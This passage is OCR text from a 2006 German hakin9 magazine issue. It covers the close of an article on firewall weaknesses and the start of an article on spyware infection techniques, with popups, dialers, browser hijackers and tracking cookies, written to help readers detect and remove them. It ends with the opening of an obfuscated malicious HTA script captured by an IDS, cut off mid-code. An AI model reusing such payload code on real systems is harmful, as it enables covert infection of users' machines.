Firewall Verwundbarkeiten Die Sicherheit eines Netzwerkes steht und fällt mit der eigenen Sicherheit der Firewall. Sofern eine Firewall selbst verwundbar für Angriffe wie beispielsweise BufferOverflows ist, stellt sie für einen Angreifer kein Hindernis mehr dar, da dieser die Firewall einfach nach seinen Bedürfnissen umkonfigurieren kann. Auch kann der Angreifer die Firewall selbst dazu verwenden, Angriffe in das interne Netzwerk zu starten, was nur durch eine mehrstufige Firewallumgebung zu verhindern ist. Remote ausnutzbare Verwundbarkeiten in namhaften Firewallprodukten werden leider sehr oft entdeckt. Um einen Überlick über aktuell existierende Verwundbarkeiten zu bekommen, empfiehlt es sich die Vulnerability-Datenbank auf www.securityfocus.com anzuschauen. Einige Beispiele von Verwundbarkeiten der letzen Monate sind in Tabelle 5 aufgeführt.
Zusammenfassung
Es existieren etliche Möglichkeiten eine Firewall zu umgehen. Einige von ihnen basieren auf der unzureichenden Funktionalität des Produktes, und andere auf einer mangelhaften Konfiguration oder gar auf Schwachstellen in der Firewallsoftware selbst. Dennoch kann durch die Implementierung einer mehrstufigen Firewallumgebung unter Einsatz aktueller Firewalltechnologien, in Verbindung mit regelmäßigen Sicherheitsaudits ein guter Schutz für interne Systeme erzielt werden. l
hakin9 Nr. 1/2006
65
SpywareAnsteckungsmethoden Techniken Christiaan Beek
Schwierigkeitsgrad
Der primäre Zweck von Spyware ist es, demographische Informationen und Informationen über Benutzerverhalten zu sammeln, aber manchmal auch private Daten. Solche Programme werden üblicherweise als versteckte Komponenten zusammen mit gewollter Software gebündelt oder ungewollt aus dem Internet heruntergeladen. Wir betrachten nachfolgend, welche Methoden solche Programme benutzen um Windowssysteme zu infizieren, und wie man sich selbst vor ihnen schützen kann.
N
eueste Ergebnisse aus aus einer Untersuchung von bekannten Organisationen wie CSI/FBI zeigen, dass nahezu 80 Prozent aller Computersysteme mit Spyware infiziert sind. Die Anzahl von Spyware wächst immer noch aufgrund der Tatsache, dass die Autoren von Spyware immer öfter die Möglichkeiten neuester Technik einsetzen. Da es ein sehr lukratives Geschäft ist, investiert das organisierte Verbrechen in Mensch und Technologie. Für Organisationen ist es schwer, sich vor dieser Bedrohung zu schützen. Auf der einen Seite müssen Sie eine Lösung umsetzen, die Infizierungen verhindert, aber auf der anderen Seite muss diese Lösung ebenfalls in der Lage sein, bereits infizierte Computersysteme zu bereinigen. Betrachten wir nun die Techniken, die Spyware derzeit benutzt um Windowssysteme zu infizieren, einmal näher. Bei jeder beschriebenen Technik werden wir ebenfalls Lösungen aufführen, um Infektionen zu erkennen, zu vermeiden und die Bedrohung zu entfernen. Dieser Artikel sollte nicht als vollständiges Kompendium über Spyware betrachtet werden, sondern eher als Blick auf ein paar interessante Techniken, die mit der Erfindung von Spyware für deren eigene Zwecke entwickelt wurden so-
66
hakin9 Nr. 1/2006
wie auf manuelle Schutzverfahren gegen diese Techniken, weil automatisierte Werkzeuge nicht immer in der Lage sind, den Benutzern in dieser Hinsicht zu helfen.
Object-Data-Tags
Object-Data-Tags sind HTML-Tags, die die Daten und Parameter für Objekte, die in HTMLDokumenten eingefügt werden, spezifizieren. Ebenso bezeichnen Sie den Code, der dazu
In diesem Artikel erfahren Sie... • •
welche Techniken von Spyware zur Infizierung benutzt werden, wie Sie eine Infizierung erkennen, die Gefahr entfernen und sich vor ihr in Zukunft schützen können.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
Sie sollten mit HTML/JavaScript vertraut sein, Sie sollten etwas Programmiererfahrung besitzen.
Spyware-Ansteckungsmethoden
Spyware-Arten Popups
Popups werden benutzt, um den Benutzer auszutricksen, so dass er auf sie klickt. Sie können auf Webseiten enthalten sein, in E-Mails, angehangen an andere Software oder können eine Art von Toolbar sein, die als Plugin für den Internet Explorer installiert wird. Viele peer-to-peer-Programme enthalten solche Software. Zum Beispiel enthält KaZaA GAIN (Gator) und Cydoor. GAIN überwacht die Surfgewohnheiten und lädt Werbung aus dem Internet herunter, welche es dann in KaZaA anzeigt. Cydoor lädt eine lange Liste von URLs während der KaZaA-Installation herunter und zeigt diese URLs später, wenn Sie im Internet surfen. Eine andere Art von Popup-Spyware benutzt den Messenger-Dienst in Windows und zeigt Textwerbungen (siehe Abbildung 1). Windows NT/XP/200x-Benutzer können dies ganz leicht verhindern, indem sie den Messenger-Dienst deaktivieren.
Abbildung 1. Eine typische PopupWerbung im Messenger
Dialer
Dialer ändern üblicherweise insgeheim die Dial-up-Verbindungseinstellungen. Dadurch wird nicht der lokale Internetprovider aufgerufen, sondern der Anruf des Benutzers wird zu einem sehr teuren internationalen Anschluss geroutet. Dialer werden am häufigsten als Zahlungsform für den Zugriff auf Webseiten mit Spieleinhalt oder Inhalten für Erwachsenen benutzt. Wenn Sie im Browser installiert werden, wird normalerweise das Einverständnis der Benutzer benötigt (siehe Abbildung 2).
Browser-Hijacker
Browser-Hijacker ändern die Browsereinstellungen ohne Einverständnis des Benutzers. Für gewöhnlich sind davon die Startseite und die Adressen für Suchseiten betroffen, aber häufig werden auch Bookmarks hinzugefügt. Ein Beispiel für eine unangenehme Sammlung von Browser-Hijackern ist ISTbar. Es installiert Tinybar-Toolbar, aber kann ebenso andere Parasiten installieren, einige von ihnen zeigen pornografische Popups.
Spying Cookies
Cookies, die im Normalfall rechtmäßig dazu benutzt werden, eine Benutzeridentifizierung zu ermöglichen wenn man auf eine Webseite zurückkommt, können ebenfalls als Spyware missbraucht werden. Einige Webseiten benutzen Cookies, um das Surfverhalten zu verfolgen. Das sind sehr häufig Cookies von Dritten – Cookies, die nicht von der Webseite, die man sich gerade ansieht, gesendet werden (sondern oft über Werbebanner). Glücklicherweise sind Cookies nicht gefährlich – sie können nicht dazu benutzt werden, weiteren Code zu verbreiten. Eine Firma wie DoubleClick betreibt Banner von ihren eigenen Servern aus und benutzt diese Server, um Cookies einzusetzen und zu lesen. Auf diesem Weg ist DoubleClick in der Lage zu erkennen, welche Verbraucher welche Webseiten besuchen, auf denen ihre Cookies angeboten werden.
Listing 1. Daten, die mittels eines IDS-Alerts aufgezeichnet wurden HTTP/1.1 200 OK Date: Mon, 18 Apr 2005 12:27:30 GMTServer: § Apache/1.3.33 (Unix) mod_deflate/1.0.21 Connection: close Transfer-Encoding: chunked Content-Type: application/hta <script language=jscript>try{ § self.moveTo(5000,5000);function b2u(c){var x=""; § for(w=0;w